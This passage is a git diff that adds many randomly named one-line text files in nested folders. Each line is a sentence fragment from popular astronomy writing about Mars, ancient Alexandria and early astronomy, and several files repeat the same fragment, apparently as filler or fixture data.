+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/cmojhqnxuublstcgmhdoaiqt.txt
@@ -0,0 +1 @@
+more than a dozen books, including Intelligent Life in the Universe, The Cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/dtbwwwwasjrdrjcbaspt.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/dtbwwwwasjrdrjcbaspt.txt
new file mode 100644
index 0000000..c5dbbc2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/dtbwwwwasjrdrjcbaspt.txt
@@ -0,0 +1 @@
+Ångstroms (Å), micrometers (μm), centimeters (cm) and meters (m).
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/evcmasjnrwmokzqtxpv.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/evcmasjnrwmokzqtxpv.txt
new file mode 100644
index 0000000..be89c51
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/evcmasjnrwmokzqtxpv.txt
@@ -0,0 +1 @@
+guess is that it is the more reliable estimate - then carbon dioxide and water vapor alone are adequate to keep
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/fdfjucoqtgiodpqhuylow.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/fdfjucoqtgiodpqhuylow.txt
new file mode 100644
index 0000000..dff86be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/fdfjucoqtgiodpqhuylow.txt
@@ -0,0 +1 @@
+cultures of each of our civilizations merely represent different ways of being human. An
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_aunwnirhibikfcz.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_aunwnirhibikfcz.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_aunwnirhibikfcz.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_cvnqhmclumqgtcbuxil.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_cvnqhmclumqgtcbuxil.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_cvnqhmclumqgtcbuxil.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_fwglzsviptooacxbnfapgs.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_fwglzsviptooacxbnfapgs.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_fwglzsviptooacxbnfapgs.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_gauydkjliuedoirqwjasdj.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_gauydkjliuedoirqwjasdj.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_gauydkjliuedoirqwjasdj.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_gfnqeakstya.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_gfnqeakstya.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_gfnqeakstya.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_gzgjrzjnixdga.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_gzgjrzjnixdga.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_gzgjrzjnixdga.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_idtiucyukbtz.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_idtiucyukbtz.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_idtiucyukbtz.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ipwcxfkxfgvryzmbkzkwzia.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ipwcxfkxfgvryzmbkzkwzia.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ipwcxfkxfgvryzmbkzkwzia.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_jfpkcqlhayjyaiasl.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_jfpkcqlhayjyaiasl.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_jfpkcqlhayjyaiasl.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ljklaxnjvkquvfqd.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ljklaxnjvkquvfqd.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ljklaxnjvkquvfqd.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ogyeihpvykhnsdemhqnn.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ogyeihpvykhnsdemhqnn.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ogyeihpvykhnsdemhqnn.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_pnletkiuulgczbvgrac.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_pnletkiuulgczbvgrac.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_pnletkiuulgczbvgrac.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_pnxsiubgctirjblgkpbbbb.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_pnxsiubgctirjblgkpbbbb.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_pnxsiubgctirjblgkpbbbb.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_svxjersvok.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_svxjersvok.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_svxjersvok.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ustoikrdnmerqrfreddvzvh.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ustoikrdnmerqrfreddvzvh.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ustoikrdnmerqrfreddvzvh.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_vsngbfkpxwkzipcessevqdj.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_vsngbfkpxwkzipcessevqdj.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_vsngbfkpxwkzipcessevqdj.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ysqixncrkuujmncgqr.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ysqixncrkuujmncgqr.txt
new file mode 100644
index 0000000..935dc2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/file_ysqixncrkuujmncgqr.txt
@@ -0,0 +1 @@
+return repeatedly to obscure or difficult passages; this is only beginning to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/geeyoqrksvmnfvtnvs.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/geeyoqrksvmnfvtnvs.txt
new file mode 100644
index 0000000..323ff5f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/geeyoqrksvmnfvtnvs.txt
@@ -0,0 +1 @@
+The difference between a circular orbit and the true orbit could be distinguished
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/gnjvkyyn.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/gnjvkyyn.txt
new file mode 100644
index 0000000..80eb32e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/gnjvkyyn.txt
@@ -0,0 +1 @@
+no ray craters, as we would expect.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/hcapuljmol.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/hcapuljmol.txt
new file mode 100644
index 0000000..0290a81
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/hcapuljmol.txt
@@ -0,0 +1 @@
+and acquire a little information about the newest society to join the community of galactic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/lacjvksolecznxljz.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/lacjvksolecznxljz.txt
new file mode 100644
index 0000000..05571e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/lacjvksolecznxljz.txt
@@ -0,0 +1 @@
+World War I, Harlow Shapley of Missouri devised a technique for measuring the distances
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/lqjwvosfqmxazumrcmxo.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/lqjwvosfqmxazumrcmxo.txt
new file mode 100644
index 0000000..3f89529
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/lqjwvosfqmxazumrcmxo.txt
@@ -0,0 +1 @@
+civilizations can be divided into two great categories: one in which the scientists are unable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/mgeoxoodpuhpvcpge.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/mgeoxoodpuhpvcpge.txt
new file mode 100644
index 0000000..665dfbe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/mgeoxoodpuhpvcpge.txt
@@ -0,0 +1 @@
+‘whole Bodies, and every part of them, may be quite distinct and different from ours . . . ‘tis
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/mvwdqnanpngsrhpxlweboyb.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/mvwdqnanpngsrhpxlweboyb.txt
new file mode 100644
index 0000000..61b65bb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/mvwdqnanpngsrhpxlweboyb.txt
@@ -0,0 +1 @@
+irreparable gaps in our historical knowledge. Imagine what mysteries about our past could
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/najbymkomapnyjyza.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/najbymkomapnyjyza.txt
new file mode 100644
index 0000000..dc44f68
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/najbymkomapnyjyza.txt
@@ -0,0 +1 @@
+malfunctioning, we successfully lifted off from Cape Canaveral on our long journey
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/noemzqppl.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/noemzqppl.txt
new file mode 100644
index 0000000..9998c1f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/noemzqppl.txt
@@ -0,0 +1 @@
+sixth century B.C., in Ionia, a new concept developed, one of the great ideas of the human
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/owfgevrbomwimiw.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/owfgevrbomwimiw.txt
new file mode 100644
index 0000000..f2d8658
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/owfgevrbomwimiw.txt
@@ -0,0 +1 @@
+‘to count’ literally means ‘to five.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/psvpqjajzpssmvxqam.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/psvpqjajzpssmvxqam.txt
new file mode 100644
index 0000000..7935dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/psvpqjajzpssmvxqam.txt
@@ -0,0 +1 @@
+more like Lepidoptera than Diptera?’ he asked, his face illuminated from below. I didn’t
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/qgaqttqgurukrhqkjyk.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/qgaqttqgurukrhqkjyk.txt
new file mode 100644
index 0000000..7d5fd19
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/qgaqttqgurukrhqkjyk.txt
@@ -0,0 +1 @@
+mutual inconsistencies. Why are they published as unapologetically as sports statistics and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/qivkkaazdcgqclkysggkr.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/qivkkaazdcgqclkysggkr.txt
new file mode 100644
index 0000000..252bdbf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/qivkkaazdcgqclkysggkr.txt
@@ -0,0 +1 @@
+the stone had been inscribed to commemorate the coronation of Ptolemy V Epiphanes, in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/uokuqhhouwjx.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/uokuqhhouwjx.txt
new file mode 100644
index 0000000..6651d8b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/uokuqhhouwjx.txt
@@ -0,0 +1 @@
+notions more stirring than the idea of a neighboring planet inhabited by intelligent beings.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/uyriwmhpgkaplwlf.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/uyriwmhpgkaplwlf.txt
new file mode 100644
index 0000000..d008461
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/uyriwmhpgkaplwlf.txt
@@ -0,0 +1 @@
+produces pressures much higher than any found on Earth, pressures so great that electrons
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/vuaimwxt.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/vuaimwxt.txt
new file mode 100644
index 0000000..6d9095b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/vuaimwxt.txt
@@ -0,0 +1 @@
+examined the universe in space and seen that we live on a mote of dust circling a humdrum
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/wfddyqnff.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/wfddyqnff.txt
new file mode 100644
index 0000000..f0224df
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/wfddyqnff.txt
@@ -0,0 +1 @@
+There was a bright New Moon, and as usual in that phase its horns were tilted
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/ynopuawkwks.txt b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/ynopuawkwks.txt
new file mode 100644
index 0000000..f5799b7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lwggmaaooc/folder_xddqextoya/folder_dqimoghxgn/folder_qlqrfaisqx/ynopuawkwks.txt
@@ -0,0 +1 @@
+magnetism:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/bgbmvpizirewcsvccdaxhl.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/bgbmvpizirewcsvccdaxhl.txt
new file mode 100644
index 0000000..897077d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/bgbmvpizirewcsvccdaxhl.txt
@@ -0,0 +1 @@
+Alexandria was the greatest city the Western world had ever seen. People of allnations came there to live, to trade, to learn. On any given day, its harbors were thronged
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/bnsdpvgbukpndfuuavvxim.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/bnsdpvgbukpndfuuavvxim.txt
new file mode 100644
index 0000000..baed997
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/bnsdpvgbukpndfuuavvxim.txt
@@ -0,0 +1 @@
+convinced that he has made an important discovery and distressed that others have not yet
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/file_jzrrivgzmaczm.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/file_jzrrivgzmaczm.txt
new file mode 100644
index 0000000..5705a55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/file_jzrrivgzmaczm.txt
@@ -0,0 +1 @@
+orbit, it was unalterably committed to landing at a certain latitude on Mars. If the low point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/file_lsznpmexzcxse.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/file_lsznpmexzcxse.txt
new file mode 100644
index 0000000..5705a55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/file_lsznpmexzcxse.txt
@@ -0,0 +1 @@
+orbit, it was unalterably committed to landing at a certain latitude on Mars. If the low point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/file_mbpkfnatfisx.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/file_mbpkfnatfisx.txt
new file mode 100644
index 0000000..5705a55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/file_mbpkfnatfisx.txt
@@ -0,0 +1 @@
+orbit, it was unalterably committed to landing at a certain latitude on Mars. If the low point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/file_mcxjsaefbwhk.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/file_mcxjsaefbwhk.txt
new file mode 100644
index 0000000..5705a55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/file_mcxjsaefbwhk.txt
@@ -0,0 +1 @@
+orbit, it was unalterably committed to landing at a certain latitude on Mars. If the low point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/file_ombsmptfmtdtkgtfygwtcocy.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/file_ombsmptfmtdtkgtfygwtcocy.txt
new file mode 100644
index 0000000..5705a55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/file_ombsmptfmtdtkgtfygwtcocy.txt
@@ -0,0 +1 @@
+orbit, it was unalterably committed to landing at a certain latitude on Mars. If the low point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/file_pejoilxemdhzgbfgd.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/file_pejoilxemdhzgbfgd.txt
new file mode 100644
index 0000000..5705a55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/file_pejoilxemdhzgbfgd.txt
@@ -0,0 +1 @@
+orbit, it was unalterably committed to landing at a certain latitude on Mars. If the low point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/file_tgxfpudgaxugylv.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/file_tgxfpudgaxugylv.txt
new file mode 100644
index 0000000..5705a55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/file_tgxfpudgaxugylv.txt
@@ -0,0 +1 @@
+orbit, it was unalterably committed to landing at a certain latitude on Mars. If the low point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/file_tpuayofsmayqwlgi.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/file_tpuayofsmayqwlgi.txt
new file mode 100644
index 0000000..5705a55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/file_tpuayofsmayqwlgi.txt
@@ -0,0 +1 @@
+orbit, it was unalterably committed to landing at a certain latitude on Mars. If the low point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lzhkhnuylz/file_uztxpwrlovhyxsvhgn.txt b/big_zip/big-zip-files/folder_lzhkhnuylz/file_uztxpwrlovhyxsvhgn.txt
new file mode 100644
index 0000000..5705a55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lzhkhnuylz/file_uztxpwrlovhyxsvhgn.txt
@@ -0,0 +1 @@
+orbit, it was unalterably committed to landing at a certain latitude on Mars. If the low point
\ No newline at end of file
